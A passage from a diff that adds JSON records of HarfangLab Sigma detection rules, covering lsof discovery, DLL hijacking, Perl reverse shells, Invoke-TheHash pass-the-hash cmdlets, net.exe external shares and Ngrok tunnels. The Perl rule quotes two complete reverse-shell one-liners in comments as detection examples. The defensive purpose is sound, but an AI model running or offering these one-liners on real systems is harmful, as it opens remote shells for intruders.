+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1560",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1cebc8c1-cd9a-4396-aa08-8d8c7cd6838b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294983Z",
+  "creation_date": "2026-03-23T11:45:35.294987Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295020Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_lsof_macos.yml",
+  "content": "title: Currently Open Files Listed via Lsof (macOS)\nid: 1cebc8c1-cd9a-4396-aa08-8d8c7cd6838b\ndescription: |\n    Detects the execution of the lsof command.\n    Attackers may use it during the discovery phase of an attack to retrieve the list of open files and the user associated with each of them.\n    It is recommended to check for malicious behavior by the process launching lsof.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/11/22\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/sbin/lsof'\n        ParentImage|contains: '?'\n        GrandparentImage|contains: '?'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '/Applications/GlobalProtect.app/Contents/Resources/PanGPS'\n            - '/Applications/PyCharm CE.app/Contents/MacOS/pycharm'\n            - '/Applications/PyCharm.app/Contents/MacOS/pycharm'\n            - '/Applications/PyCharm Professional Edition.app/Contents/MacOS/pycharm'\n            - '/Users/*/Applications/PyCharm Professional Edition.app/Contents/MacOS/pycharm'\n            - '/Applications/Webex.app/Contents/MacOS/Webex'\n            - '/Applications/WebStorm.app/Contents/MacOS/webstorm'\n            - '/Users/*/Applications/WebStorm.app/Contents/MacOS/webstorm'\n            - '/Applications/PhpStorm.app/Contents/MacOS/phpstorm'\n            - '/Users/*/Library/Application Support/Steam/Steam.AppBundle/Steam/Contents/MacOS/steam_osx'\n            - '/Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/AWS VPN Client/Contents/MacOS/ACVCHelperTool'\n            - '/Library/PrivilegedHelperTools/com.amazonaws.acvc.helper'\n            - '/Applications/Docker.app/Contents/MacOS/com.docker.backend'\n            - '/Applications/GitKraken.app/Contents/Frameworks/GitKraken Helper (Renderer).app/Contents/MacOS/GitKraken Helper (Renderer)'\n            - '/Users/*/Applications/IntelliJ IDEA Ultimate.app/Contents/MacOS/idea'\n            - '/applications/rider.app/contents/macos/rider'\n            - '/Applications/GoLand.app/Contents/MacOS/goland'\n            - '/Applications/IntelliJ IDEA CE.app/Contents/MacOS/idea'\n            - '/Applications/RubyMine.app/Contents/MacOS/rubymine'\n            - '/Users/*/Applications/PhpStorm.app/Contents/MacOS/phpstorm'\n            - '/Users/*/Applications/Android Studio.app/Contents/MacOS/studio'\n            - '/Applications/CleanMyMac_5.app/Contents/MacOS/CleanMyMac_5'\n            - '/Applications/Android Studio Preview.app/Contents/MacOS/studio'\n            - '/Applications/CleanMyMac X.app/Contents/MacOS/CleanMyMac X'\n            - '/Users/*/Library/Application Support/WebEx Folder/Add-ons/Cisco WebEx Start.app/Contents/MacOS/Cisco WebEx Start'\n            - '/Applications/SekoiaEndpointAgent.app/Contents/MacOS/SekoiaEndpointAgent'\n\n    exclusion_grandparentimage:\n        GrandparentImage:\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/Frameworks/Code - Insiders Helper.app/Contents/MacOS/Code - Insiders Helper'\n            - '/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/MacOS/VMware Fusion Applications Menu'\n            - '/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/*/Resources/Python.app/Contents/MacOS/Python'\n            - '/private/var/folders/*/com.docker.install/in_progress/Docker.app/Contents/MacOS/install'\n            - '/Applications/Docker.app/Contents/MacOS/install'\n\n    # /usr/sbin/lsof -g -o -R /Users/<user>/Library/Application Support/WebEx Folder/MC_<version>/Meeting Center.app\n    exclusion_cisco_meeting_center:\n        ParentImage|endswith: '/Cisco WebEx Start'\n        CommandLine|contains|all:\n            - '/usr/sbin/lsof -g -o -R /Users/'\n            - 'Library/Application Support/WebEx Folder/MC_'\n            - 'Meeting Center.app'\n\n    # lsof /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/<version>/Google Chrome Framework\n    exclusion_google_chrome_updater:\n        CommandLine: 'lsof /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Google Chrome Framework'\n\n    # lsof -OPln -p <PID>\n    exclusion_vs_code:\n        GrandparentImage:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code - Helper (Renderer).app/Contents/MacOS/Code - Helper (Renderer)'\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/Frameworks/Code - Insiders Helper (Renderer).app/Contents/MacOS/Code - Insiders Helper (Renderer)'\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n        CommandLine|startswith: 'lsof -OPln -p'\n\n    exclusion_cwd:\n        ParentCommandLine: '/bin/sh -c lsof -OPln * | grep cwd'\n\n    exclusion_ampdevicesagent:\n        CommandLine|startswith: '/usr/sbin/lsof -c AMPDevicesAgent'\n\n    exclusion_edge:\n        CommandLine: 'lsof /Applications/Microsoft Edge.app/Contents/Frameworks/Microsoft Edge Framework.framework/Versions/*/Microsoft Edge Framework'\n\n    exclusion_ninjarmm:\n        ParentImage: '/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent'\n\n    exclusion_rider:\n        ParentImage:\n            - '/Users/*/Applications/Rider.app/Contents/MacOS/rider'\n            - '/Applications/Rider 2.app/Contents/MacOS/rider'\n\n    exclusion_inteliJ_idea:\n        ParentImage|endswith: '/IntelliJ IDEA.app/Contents/MacOS/idea'\n        # TODO : signed: 'true'\n\n    exclusion_bluejeans:\n        ParentImage: '/Applications/BlueJeans.app/Contents/Resources/daemon/BlueJeansHelper.app/Contents/MacOS/BlueJeansHelper'\n\n    exclusion_activity_monitor:\n        ParentImage: '/System/Applications/Utilities/Activity Monitor.app/Contents/MacOS/Activity Monitor'\n\n    exclusion_android_studio:\n        ParentImage: '/Applications/Android Studio.app/Contents/MacOS/studio'\n\n    exclusion_erlang:\n        Ancestors|startswith: '/bin/bash|/bin/bash|/opt/homebrew/Cellar/erlang/'\n\n    # lsof -d 0-9999999 -lna -p <pid>\n    exclusion_unknown:\n        CommandLine|re: '^lsof -d 0-9999999 -lna -p \\d+$'\n        ParentCommandLine: '/bin/sh -s unix:cmd'\n        GrandparentCommandLine: '/bin/sh -s unix:cmd'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1cebc8c1-cd9a-4396-aa08-8d8c7cd6838b",
+  "rule_name": "Currently Open Files Listed via Lsof (macOS)",
+  "rule_description": "Detects the execution of the lsof command.\nAttackers may use it during the discovery phase of an attack to retrieve the list of open files and the user associated with each of them.\nIt is recommended to check for malicious behavior by the process launching lsof.\n",
+  "rule_creation_date": "2022-11-22",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1cf5a84d-3577-4fed-aad6-e9be68687766",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096335Z",
+  "creation_date": "2026-03-23T11:45:34.096338Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096343Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tcmsetup.yml",
+  "content": "title: DLL Hijacking via tcmsetup.exe\nid: 1cf5a84d-3577-4fed-aad6-e9be68687766\ndescription: |\n    Detects potential Windows DLL Hijacking via tcmsetup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tcmsetup.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\TAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1cf5a84d-3577-4fed-aad6-e9be68687766",
+  "rule_name": "DLL Hijacking via tcmsetup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tcmsetup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1d0a5e73-d3a2-4ecd-9969-fe46c41edd38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618088Z",
+  "creation_date": "2026-03-23T11:45:34.618090Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618094Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://attack.mitre.org/techniques/T1059/004/"
+  ],
+  "name": "t1059_004_reverse_shell_perl_macos.yml",
+  "content": "title: Reverse Shell Executed via Perl (macOS)\nid: 1d0a5e73-d3a2-4ecd-9969-fe46c41edd38\ndescription: |\n    Detects a suspicious command line related to a reverse shell execution via Perl.\n    A reverse shell is a shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewalls restrictions.\n    It is recommended to check for malicious behavior by the process launching the command and its potential children.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://attack.mitre.org/techniques/T1059/004/\ndate: 2022/11/14\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.perl\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_base:\n        Image: '/usr/bin/perl'\n\n    # perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n    selection_variant1:\n        CommandLine|contains|all:\n            - ' Socket'\n            - 'socket('\n            - 'connect('\n            - 'open('\n            - 'STDIN'\n            - 'STDOUT'\n            - 'exec('\n\n    # perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\n    selection_variant2:\n        CommandLine|contains|all:\n            - 'perl'\n            - 'IO::Socket::INET('\n            - 'STDIN'\n            - 'fdopen('\n            - 'system'\n\n    condition: selection_base and 1 of selection_variant*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d0a5e73-d3a2-4ecd-9969-fe46c41edd38",
+  "rule_name": "Reverse Shell Executed via Perl (macOS)",
+  "rule_description": "Detects a suspicious command line related to a reverse shell execution via Perl.\nA reverse shell is a shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewalls restrictions.\nIt is recommended to check for malicious behavior by the process launching the command and its potential children.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1d290732-2a4c-43db-875e-699d2462cd5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608016Z",
+  "creation_date": "2026-03-23T11:45:34.608020Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608027Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Kevin-Robertson/Invoke-TheHash",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1550/002/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_invoke_thehash.yml",
+  "content": "title: Malicious PowerShell Invoke-TheHash Commandlets Used\nid: 1d290732-2a4c-43db-875e-699d2462cd5d\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with the Invoke-TheHash module.\n    Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB attacks through the .NET TCPClient.\n    Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol.\n    It is recommended to check other PowerShell command and the process behavior for suspicious activities.\nreferences:\n    - https://github.com/Kevin-Robertson/Invoke-TheHash\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1550/002/\ndate: 2022/10/12\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.lateral_movement\n    - attack.t1550.002\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.Invoke-TheHash\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'Invoke-WMIExec'\n            - 'Invoke-SMBExec'\n            - 'Invoke-SMBEnum'\n            - 'Invoke-SMBClient'\n            - 'Invoke-TheHash'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d290732-2a4c-43db-875e-699d2462cd5d",
+  "rule_name": "Malicious PowerShell Invoke-TheHash Commandlets Used",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with the Invoke-TheHash module.\nInvoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB attacks through the .NET TCPClient.\nAuthentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol.\nIt is recommended to check other PowerShell command and the process behavior for suspicious activities.\n",
+  "rule_creation_date": "2022-10-12",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1550.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1d329a59-c1ee-4f62-baac-4db01284ac5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083089Z",
+  "creation_date": "2026-03-23T11:45:34.083091Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083096Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.securonix.com/blog/securonix-threat-labs-security-advisory-threat-actors-target-mssql-servers-in-dbjammer-to-deliver-freeworld-ransomware/",
+    "https://attack.mitre.org/techniques/T1570/",
+    "https://attack.mitre.org/techniques/T1048/",
+    "https://attack.mitre.org/software/S0039/"
+  ],
+  "name": "t1570_suspicious_network_connection_net.yml",
+  "content": "title: Suspicious Network Connection by net.exe\nid: 1d329a59-c1ee-4f62-baac-4db01284ac5e\ndescription: |\n    Detects suspicious network connections initiated by net.exe to an external IP address.\n    Adversaries can mount remote network share to transfer files to and from the targeted system.\n    It is recommended to look for any other malicious behavior on the target host, as well as to look for the reputation of the IP address contacted by net.exe.\nreferences:\n    - https://www.securonix.com/blog/securonix-threat-labs-security-advisory-threat-actors-target-mssql-servers-in-dbjammer-to-deliver-freeworld-ransomware/\n    - https://attack.mitre.org/techniques/T1570/\n    - https://attack.mitre.org/techniques/T1048/\n    - https://attack.mitre.org/software/S0039/\ndate: 2023/09/05\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1570\n    - attack.exfiltration\n    - attack.t1048\n    - attack.s0039\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        ProcessImage|endswith: '\\net.exe'\n        ProcessCommandLine|re:\n            - ' \\\\\\\\[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\\\' # IP\n            - ' \\\\\\\\\\S+\\.([a-zA-Z]{2,63}|[xX][nN]--[a-zA-Z0-9-]{1,59})\\\\' # Domain\n            - ' http(s|)://' # HTTP\n        DestinationIsIpv6: 'false'\n\n    filter_ip:\n        DestinationIp|cidr:\n            - '127.0.0.0/8'     # RFC1122\n            - '192.168.0.0/16'  # RFC1918\n            - '172.16.0.0/12'   # RFC1918\n            - '10.0.0.0/8'      # RFC1918\n            - '169.254.0.0/16'  # RFC3927\n            - 'fe80::/10'\n            - '100.64.0.0/10'   # RFC6598\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d329a59-c1ee-4f62-baac-4db01284ac5e",
+  "rule_name": "Suspicious Network Connection by net.exe",
+  "rule_description": "Detects suspicious network connections initiated by net.exe to an external IP address.\nAdversaries can mount remote network share to transfer files to and from the targeted system.\nIt is recommended to look for any other malicious behavior on the target host, as well as to look for the reputation of the IP address contacted by net.exe.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048",
+    "attack.t1570"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1d38f72c-c5fe-4c2b-b710-12190bf78d90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612190Z",
+  "creation_date": "2026-03-23T11:45:34.612194Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612201Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/hakluke/status/1679023050526687244",
+    "https://twitter.com/malmoeb/status/1519710302820089857",
+    "https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/software/S0508/"
+  ],
+  "name": "t1090_linux_ngrok_ssh.yml",
+  "content": "title: Ngrok Tunnel via SSH (Linux)\nid: 1d38f72c-c5fe-4c2b-b710-12190bf78d90\ndescription: |\n    Detects a connection to the official Ngrok Tunnel Server using the SSH command-line tool.\n    Ngrok is a tool that allows users to expose their local servers to the internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\n    It isn't necessary to download the Ngrok binary to use an Ngrok tunnel, this can be done by creating a reverse SSH tunnel to the Ngrok servers.\n    It is recommended to investigate this action to determine its legitimacy.\n    If you believe this to be an indicator of malicious activity, it is recommended to investigate which users were compromised and what resources the attacker accessed using this tunnel.\nreferences:\n    - https://twitter.com/hakluke/status/1679023050526687244\n    - https://twitter.com/malmoeb/status/1519710302820089857\n    - https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/software/S0508/\ndate: 2023/07/13\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - attack.s0508\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Tool.Ngrok\n    - classification.Linux.Behavior.Tunneling\n    - classification.Linux.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/ssh'\n        CommandLine|contains:\n            - 'tunnel.??.ngrok.com'\n            - 'tunnel.ngrok.com'\n            - '.ngrok-agent.com'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d38f72c-c5fe-4c2b-b710-12190bf78d90",
+  "rule_name": "Ngrok Tunnel via SSH (Linux)",
+  "rule_description": "Detects a connection to the official Ngrok Tunnel Server using the SSH command-line tool.\nNgrok is a tool that allows users to expose their local servers to the internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\nIt isn't necessary to download the Ngrok binary to use an Ngrok tunnel, this can be done by creating a reverse SSH tunnel to the Ngrok servers.\nIt is recommended to investigate this action to determine its legitimacy.\nIf you believe this to be an indicator of malicious activity, it is recommended to investigate which users were compromised and what resources the attacker accessed using this tunnel.\n",
+  "rule_creation_date": "2023-07-13",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
